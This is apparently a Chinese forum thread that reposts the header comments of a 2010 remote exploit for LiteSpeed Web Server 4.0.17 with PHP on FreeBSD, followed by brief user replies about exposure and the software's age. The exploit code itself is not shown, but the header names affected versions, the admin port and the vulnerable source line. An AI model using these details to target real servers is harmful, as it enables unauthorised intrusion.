LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit

# LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit for FreeBSD
# bug discovered & exploited by Kingcope
#
# Dec 2010
# Lame Xploit Tested with success on
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86
# FreeBSD 6.3-RELEASE - LiteSpeed WebServer 4.0.17 Standard & Enterprise x86
# FreeBSD 8.0-RELEASE - LiteSpeed WebServer 4.0.15 Standard x86
# can be used against the admin interface (port 7080), too
# Xploit only works on default lsphp binary not the compiled version
#
# this should be exploitable on linux too (on the compiled SAPI version)
# the shipped linux version of lsphp has stack cookies enabled,
# which could be brute forced if there wasn't a null put at the end of
# the exploit buffer. The compiled SAPI version is exploitable, but then
# the offsets differ from box to box, so this time FreeBSD targets only.
# thus on linux this is very tricky to exploit.
# this is a proof of concept, don't try this on real boxes
# see lsapilib.c line 1240

压力很大

wdlth

this should be exploitable on linux too (on the compiled SAPI version)，去研究下。

还好，我是centos。

wdlth

FreeBSD的，无压力。

Globalization

写的啥？

cnx

顶一下。

现在的还像是18了，哈哈，用处不大了吧
